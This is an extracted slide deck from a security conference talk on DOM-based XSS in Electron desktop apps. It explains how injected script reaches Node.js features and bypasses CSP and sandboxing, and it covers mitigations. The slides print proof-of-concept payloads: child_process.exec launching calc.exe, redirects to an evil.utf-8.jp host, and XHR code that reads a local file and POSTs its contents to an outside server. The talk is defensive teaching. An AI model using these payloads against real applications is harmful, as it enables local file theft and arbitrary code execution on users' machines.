ELECTRON

ELECTRON 

Build cross platform desktop XSS 

It’s easier than you think 

Secure Sky Technology Inc. 

Yosuke HASEGAWA

Yosuke HASEGAWA @hasegawayosuke 

Secure Sky Technology Inc. Technical Advisor 

OWASP Kansai Chapter Leader 

OWASP Japan Chapter board member 

CODE BLUE Review board member 

http//utf-8.jp/ Author of jjencode, aaencode 

Talked at Black Hat Japan 2008, KOREA POC 2008, 

POC 2010, OWASP AppSec APAC 2014 and others. 

Found many vulns of IE, Firefox and others. 

Secure Sky Technology Inc. CODE BLUE 2016

What's Electron ? 

GitHub 社によって開発された、クロスプラット 

フォームなデスクトップアプリケーションを開発 

するためのフレームワーク 

HTML+JavaScriptでアプリケーションを作成で 

きる 

多くのアプリケーションで使用実績 



HTML + JavaScript = Native Apps 

Microsoft HTML Application (*.hta) 

Firefox OS 

Apache Cordova / Adobe PhoneGap 

Chrome Apps 

Electron / NW.js 

Electron 

Cross platform 

バイナリのビルドが可能 



Node.jsとChromiumをランタイムとして内包 

メインプロセス 

アプリケーション全体を統括。node.jsそのもの 

レンダラプロセス 

Chromium+node.js 

Electron Apps 

main 

process 

IPC 

renderer 

process 



{ 

} 

Electron Apps 

"name" : "Apps name", 

"version" : "0.1", 

"main" : "main.js" 

index.html 

 

... 

 

... 

 

 

{json} 

main 

process 

IPC 

renderer 

process 

package.json 

let win = new BrowserWindow( {width:840,height:700} ); 

win.loadURL( `file://${__dirname}/index.html` ); 

main.js 



レンダラではブラウザ内でnode.jsが動く 

node 機能は無効にもできる。デフォルト有効。 

 

 

const fs = require( "fs" ); 

function foo(){ 

fs.readFile( "./test.txt", { encoding: "utf-8" }, 

(err, data) => { 

document.getElementById("main").textContent = data; 

} 

); 

} 

 

 

 

 


Electronアプリのセキュリティ対策 



おおきく3 種類の問題に分けられる 

Webアプリとしてのセキュリティ対策 

レンダラはブラウザ。DOM-based XSS 対策が必要 

ローカルアプリとしてのセキュリティ対策 

レースコンディションや不適切な暗号など、古くから 

のアプリケーション同様の対策 

Electron 固有のセキュリティ対策 

様々なElectronの機能に対する対策 













レンダラプロセス : Chromium + node.js 

DOM 操作が多くなりがち 

DOM-based XSSが発生しやすい 

JavaScriptによるオープンリダイレクタ 

従来のWebアプリ同様のフロントエンドのセキュ 

リティ対策が必要 



DOM-based XSSが発生しやすい 

DOM 操作が多い 

そもそもDOM-based XSSは見つけにくい 

fs.readFile( filename, (err,data) => { 

if(!err) element.innerHTML = data; //XSS! 

}); 

fs.readdir( dirname, (err,files) => { 

files.forEach( (filename) => { 

let elm = document.createElement( "div" ); 

elm.innerHTML = 

`${filename}`; //XSS! 

paerntElm.appendChild( elm ); 

}); 

}); 



DOM-based XSSが発生すると致命的な被害 

攻撃者のインジェクトしたコード内でもnode 機能が 

利用可能な場合が多い 

XSS = alert だけではない 

ローカルファイルの読み書き 

任意プロトコルでの通信 

他アプリへの干渉 

任意プロセスの生成 

つまり、DOM-based XSSをきっかけに任意の 

コード実行が可能となる 



従来のWebアプリ 

ニセ情報の表示、Cookieの漏えい、Webサイト内の 

情報の漏えい… 

「該当 Webサイト内」でJSができること全て 

該当 Webサイトを超えては何もできない 

ブラウザに守られている … サンドボックス 

脆弱性があっても自身のWebサイト以外への影響 

はない 

サイト運営者が責任を持てる範囲でしか被害が発 

生しない 



ElectronにおけるXSS 

アプリを使っているユーザーの権限での任意コード 

の実行 

PC 内でそのユーザーができること全て 

既存アプリケーションの破壊 

オンラインバンキング用アプリの改ざん、盗聴 

マルウェア感染、配信 

該当アプリケーションの範囲を超えて何でもできる 

開発者の責任の重みがまったく変わってくる 



Electronアプリに対する攻撃に対して 

Webサイト改ざんのJavaScript 

難読化されていても最終的にはDOM 操作 

やの挿入を探す 

Electronに対する攻撃用 JavaScript 

どのような処理でも可能性として存在 

挙動を詳細に調査する必要がある 

解析する側の技術も未成熟 













ローカルアプリのセキュリティ対策も必要 

symlink 攻撃 

レースコンディション 

暗号の不適切な利用 

過大なアクセス権限 

機密情報が644など 

ファイル名の別名表記 

8.3 形式、ADS(file.txt::$DATA)など 

その他諸々 

Webアプリとは異なる知識背景 

プラットフォーム固有の知識も必要 













個々のAPIを使う上での注意点 

tag 

shell.openExternal 

Electronのアーキテクチャ上の問題点 

BrowserWindowは通常 "file://" をロードする 

ブラウザと異なりアドレスバーが存在しない 


Deep dive into 

DbXSS of Electron 


DOM-based XSS 

ソースをエスケープせずにシンクに与えることで 

JS 上で発生するXSS 

ソース: 攻撃者の与えた文字列 

シンク: 文字列からHTMLを生成したりコードとして 

実行する箇所 

location.hash 

location.href 

location.search 

postMessage 

xhr.responseText 

document.referrer 

window.name 

ソース処理シンク 

document.write eval 

location.href Function 

setInterval 

setTimeout 

innerHTML 


DOM-based XSS 

従来のXSSでの被害 

alertの表示 

elm.innerHTML = ""; 

Webアプリ内に偽情報を表示 

elm.innerHTML = "ログイン:"; 

Cookieの奪取 


Webアプリ内の機密情報の奪取 


他には? 


DOM-based XSS on Electron apps 

レンダラ上でnode 機能がデフォルト有効 

// xss_source は攻撃者がコントロール可能な文字列 

elm.innerHTML = xss_source; // XSS! 

 

 



任意コード実行が可能 - まるでバッファオーバーフロー 

“ 

XSS: The New Buffer Overflow 

In many respects, an XSS vulnerability is 

just as dangerous as a buffer overflow. 

多くの点から見て、XSS 脆弱性の危険性はバッファ 

オーバーフローに匹敵します。 

” 

"Security Briefs: SDL Embraces The Web", Apr. 2008 

http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/e 

n-us/magazine/cc794277.aspx 








location.hash 

location.href 


postMessage 



window.name 




setInterval 

setTimeout 

innerHTML 








location.hash 

location.href 


postMessage 

ファイルの内容 



window.name 




setInterval 

setTimeout 

innerHTML 

ユーザ名ファイル名ログの内容 

データベースコンピュータ名 

require 

webView 

webFrame.executeJavaScript 



従来のWebアプリでは存在しなかったソース 

HTTPやWebと無関係なあらゆるデータがXSSソー 

スとなり得る 

シンクはそれほど増えていない 

requireなどに動的な引数を与えることは通常ない 

ソースを意識するのではなく、シンクへ渡す際に 

エスケープすることが重要 

適切なDOM 操作 (textContent、setAttribute 等 ) 


Content Security Policy 



XSS 対策としてレンダラにCSPを適用することは 

効果があるのか 

 

renderer 

 

 

 

 

 

//index.js 




 

renderer 

 

 

 

 

 

//index.js 


meta refreshはCSPによって制限されない 

xss_source = 

''; 

レンダラで開かれる。レンダラ内ではnode 機能が利用可能。 

 

require('child_process').exec('calc.exe',null); 

 

http://evil.utf-8.jp/ 



Another pattern 

 

renderer 

 

 

 

 

 

 

//index.js 

iframe.setAttribute("src", xss_source); // XSS? 



Another pattern 

 

renderer 

 

 

 

 

 

 

//index.js 

iframe.setAttribute("src", xss_source); // XSS! 

origin === 'file://' 

app.on('ready', () => { 

win = new BrowserWindow({width:600, height:400} ); 

win.loadURL(`file://${__dirname}/index.html`); 

.... 

main.js 



 

renderer 

 

 

 

 

 

 

//index.js 

iframe.setAttribute("src", xss_source); // XSS! 

originが"file://"なので攻撃者のファイルサーバも同じオリジン 

xss_source = 'file://remote-server/share/trap.html'; 

top level windowではnode 機能が使える 

window.top.location=`data:text/html, 

file://remote-server/share/trap.html 

require('child_process').exec('calc.exe',null);`; 



CSPによってリソースの読み込みを制限しても 

meta refreshによってページ遷移が可能 

レンダラ内を攻撃者の用意した罠ページに遷移 

攻撃者の用意した罠ページではもちろんCSPは効 

かない 

"file://"なので攻撃者のリソースも同一オリジン 

になる 

iframeやscriptソースを埋め込みやすい 

レンダラ内ではnode 機能が使える 

結論 :CSPではXSSの脅威を軽減できない 


レンダラでのnodeの無効化 



レンダラのnodeを無効にすれば脅威は低減 


main.js 

win = new BrowserWindow( 

{ webPreferences:{nodeIntegration:false} }); 


.... 

BrowserWindow 生成時に明示的に無効を指定す 

る必要がある。デフォルト有効。 



レンダラではデフォルトでnode 機能が有効に 

なっている 

明示的にnodeを無効にしなければ有効のまま 

レンダラでnodeを無効にすると、Electronアプリと 

して実用的なことが出来なくなる 

それでもnode 無効化は効果があるのか? 



node 無効のJSでどこまでの攻撃が可能か 


win = new BrowserWindow( 

{ webPreferences:{nodeIntegration:false} }); 


.... 

そもそもオリジンがfile://になっている 

XHR 等でローカルファイルの読み取りが可能 

var xhr = new XMLHttpRequest(); 

xhr.open( "GET", "file://c:/file.txt", true ); 

xhr.onload = () => { 

fetch( "http://example.jp/", 

{ method:"POST",body:xhr.responseText } ); 

}; 

xhr.send( null ); 



明示的に指定することでnodeを無効化できる 

nodeを無効化にするとアプリとして実用的なこ 

とは出来なくなる 

nodeを無効にしてもローカルファイルの読み取 

りは可能 


iframe sandbox 


iframe sandbox 

アプリケーションとしてDOM 操作する対象を 

内のみに限定する 

iframeを外から操作 

 

.... 

document.querySelector("#sb") 

.contentDocument.querySelector("#msg").innerHTML = 

"Hello, XSS!alert(1)"; // not work 

iframe 内でDbXSSが発生しても被害を抑えられる 


DbXSSの緩和 - 

代表的なもの 

allow-forms 

allow-scripts 

allow-same-origin 

allow-top-navigation 

allow-popups 

- フォームの実行を許可 

- スクリプトの実行を許可 

- 同一オリジン扱いを許可 

- topへの干渉を許可 

- ポップアップを許可 

allow-scriptsを指定するのは危険 

iframe 内で普通にJSが動く 

allow-top-navigation、allow-popupsも危険 


 

... 

var xss = `Click`; 

document.querySelector("#sb") 

.contentDocument.querySelector("#msg").innerHTML = xss; 

popupによって生成されたBrowserWindowでは、node 

機能が有効な状態でJavaScriptが動く 

Click 

(iframe) 

data:text/html, 

require(...) 

0 

← CE C ± √ 

7 8 9 / % 

4 5 6 * 1/x 

1 2 3 - 

0 . + 

= 


tag 


tag 

他のサイトをレンダラ内に埋め込む 

iframeと異なりwebview 内から外側は完全に見え 

ない(window.topなど) 

 

外からも簡単にはDOM 操作できない 

(iframe.contentWindowのようなものはない) 

webviewごとにnode 機能の有無を指定可能 

 

allowpopups 属性により新しいウィンドウの生成を 

許可 

 


tag 

window.open()、などで新 

しく開かれたウィンドウ 

iframeとwebviewではnodeの有効・無効は異なる 

レンダラ (node 有効 ) 

 

nodeは常に無効 


 

node 無効 


 

node 有効 

新しいレンダラ 

(node 有効 ) 


(node 無効 ) 


(node 有効 ) 


tag 

nodeは無効にしpreload 機能を使うほうが安全 

 

 

preload script 内ではnode 無効のwebview 内で 

あってもnode 機能が利用可能 

//preload.js 

window.loadConfig = function(){ 

let file = `${__dirname}/config.json`; 

let s = require("fs").readFileSync( file, "utf-8" ); 

return JSON.eval( s ); 

}; 


tag 

よくあるケース 

既存のWebアプリのネイティブアプリ化 

内に既存のWebアプリを埋め込み 

 

 

 

 

Code Blue SNS 

Ads 


tag 




 

 

 

 

webview 

Code Blue SNS 

Ads 


tag 




 

 

 

 

webview 

Code Blue SNS 

webview 内に3rd partyの 

広告が入る 

Ads 


tag 

webview 内に3rd partyの広告が入る場合 

広告 JSもwebview 内で自由にコード実行 

webviewでnodeが有効な場合は広告 JSもnode 

機能も使える 

nodeが無効な場合でもwindow.top 経由で全画 

面書き換え、偽ログイン画面の表示などはできる 

悪意ある広告、配信サーバの汚染など… 

// load fake login page 

window.top = "http://evil.utf-8.jp/"; 

Code Blue SNS 

User: 

Pass: 


tag 

対策 : 広告はiframe sandbox 内に表示 

topへの干渉を防ぐ 

JS 埋め込み型の広告だと対策できない 

Webアプリ 

オリジンを超えて広告がWebアプリへ影響を与えること 

はない 

ユーザーはアドレスバーで正規サイトか確認できる 

Electronアプリ 

iframe 内の広告でもnode 機能が有効なら悪意ある 

コードが実行可能 

アドレスバーがないので正規サイトかの確認ができない 


window.open from 

allowpopups 属性 

window.openでpopupが可能になる 

 

window.openでは"file:"スキームも指定可能 

// http://example.jp 

window.open("file://remote-server/share/trap.html"); 

攻撃者はファイルサーバを経由することで"file://" 

オリジンのスクリプトを動作させ、ローカルファイルを 

読み取ることが可能 

// file://remote-server/share/trap.html 

var xhr = new XMLHttpRequest(); 

xhr.open( "GET", "file://C:/secret.txt", true ); 


window.open from 

対策 

allowpopups 属性をつけない 

または、main.js 側でURLを検査 

// main.js 

app.on('browser-window-created', (evt, window) => { 

window.webContents.on('new-window', (evt,url) => { 

let protocol = require('url').parse(url).protocol; 

if (!protocol.match( /^https?:/ )) { 

evt.defaultPrevented = true; 

console.log( "invalid url", url ); 

} 

}); 

}); 


shell.openExternal 

shell.openItem 


shell.openExternal, shell.openItem 

URLや拡張子に対応した外部プログラムを起動 

const {shell} = require( 'electron' ); 

const url = 'http://example.jp/'; 

shell.openExternal( url ); // OS 標準のブラウザが起動 

shell.openItem( url ); 

let file = 'C:/Users/hasegawa/test.txt'; 

shell.openExternal( file ); // OS 標準の方法でファイルを開く 

shell.openItem( file ); 

let filename = 'file://C:/Users/hasegawa/test.txt'; 

shell.openExternal( file ); // OS 標準の方法でファイルを開く 

shell.openItem( file ); 




webviewからのwindow.openなどをOS 標準のブ 

ラウザで開く 

webview.on( 'new-window', (e) => { 

shell.openExternal( e.url ); // OS 標準のブラウザで開く 

}); 

攻撃者がURLを細工できる場合、任意のコマンドを 

起動可能 

Click 

コマンドに引数は渡せない 



shell.openExternal、shell.openItemには任 

意のURLが渡らないよう確認が必要 

if (url.match( /^https?:¥/¥// )) { 

shell.openExternal( url ); //ブラウザで開く 

} 


Conclusion 


Conclusion 

domXss().then( die ); // ACE 

nodeが有効なコンテキストで外部のスクリプト 

が動かないよう細心の注意が必要 

file:スキームで外部のスクリプトが動かないよう 

細心の注意が必要 

攻撃者は罠ファイルサーバを利用可能 


Question ? 

hasegawa@utf-8.jp 

@hasegawayosuke 

http://utf-8.jp/ 

Credits to 

@harupuxa, @kinugawamasato, nishimunea

ELECTRON

You also want an ePaper? Increase the reach of your titles

Delete template?

Save as template?